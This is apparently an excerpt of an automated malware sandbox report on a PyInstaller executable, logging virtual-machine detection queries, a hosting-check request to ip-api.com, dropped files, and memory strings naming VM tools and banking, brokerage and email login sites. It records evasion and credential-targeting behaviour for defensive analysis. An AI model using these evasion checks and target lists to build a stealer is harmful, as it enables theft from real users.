Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\getmac.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8220	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1206	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8636
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 762
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2060
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2608
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4492
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2503
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2843
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1737
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3103
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 443
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3457
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2802
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1189

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI33962\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI33962\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI33962\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI33962\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI33962\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI33962\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI33962\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI33962\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI33962\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI33962\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI33962\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI33962\python312.dll	Jump to dropped file

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_4-17263

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

API coverage: 4.7 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7516	Thread sleep count: 8220 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep count: 1206 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7508	Thread sleep count: 8636 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7520	Thread sleep count: 762 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4208	Thread sleep count: 7500 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2848	Thread sleep count: 2060 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6684	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7292	Thread sleep count: 2608 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7404	Thread sleep count: 271 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8004	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4240	Thread sleep count: 4492 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2468	Thread sleep count: 2503 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2840	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2500	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep count: 2843 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep count: 1737 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8100	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8008	Thread sleep count: 3103 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3672	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8056	Thread sleep count: 443 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7772	Thread sleep count: 3457 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5932	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2232	Thread sleep count: 248 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7344	Thread sleep count: 2802 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1552	Thread sleep count: 1189 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7144	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7236	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6780	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C26683B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_00007FF7C26683B0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C26692F0 FindFirstFileExW,FindClose,	4_2_00007FF7C26692F0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C26818E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	4_2_00007FF7C26818E4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C26692F0 FindFirstFileExW,FindClose,	7_2_00007FF7C26692F0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C26683B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	7_2_00007FF7C26683B0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C26818E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_00007FF7C26818E4
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080B46EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	97_2_00007FF7080B46EC
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080AE21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	97_2_00007FF7080AE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080F88E0 FindFirstFileExA,	97_2_00007FF7080F88E0

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

Code function: 7_2_00007FFB0C031230 GetSystemInfo,

7_2_00007FFB0C031230

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\System32\AppxSip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\System32\en-GB\CRYPT32.dll.mui
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SYSTEM32\OpcServices.DLL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7488c4f196cfa60a4ca5cca24e2169b0\Microsoft.Management.Infrastructure.ni.dll

Source: getmac.exe, 0000004D.00000002.1482841194.0000028230D74000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000003.1482040663.0000028230D4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvmwaretray
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C3400000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc0
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: getmac.exe, 0000004D.00000002.1482841194.0000028230D74000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000003.1482040663.0000028230D4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage"
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: X9g8L63QGs.exe, 00000007.00000002.1693315105.000001E7C2586000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000002.1482841194.0000028230D74000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000003.1482040663.0000028230D4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fecodevmware
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvboxservice
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: d2qemu-ga
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: getmac.exe, 0000004D.00000002.1482841194.0000028230D74000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000003.1482040663.0000028230D4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAWrkProtocolc
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C3400000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: getmac.exe, 0000004D.00000003.1482040663.0000028230D4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport@
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C3400000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: X9g8L63QGs.exe, 00000007.00000003.1591685398.000001E7C39AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
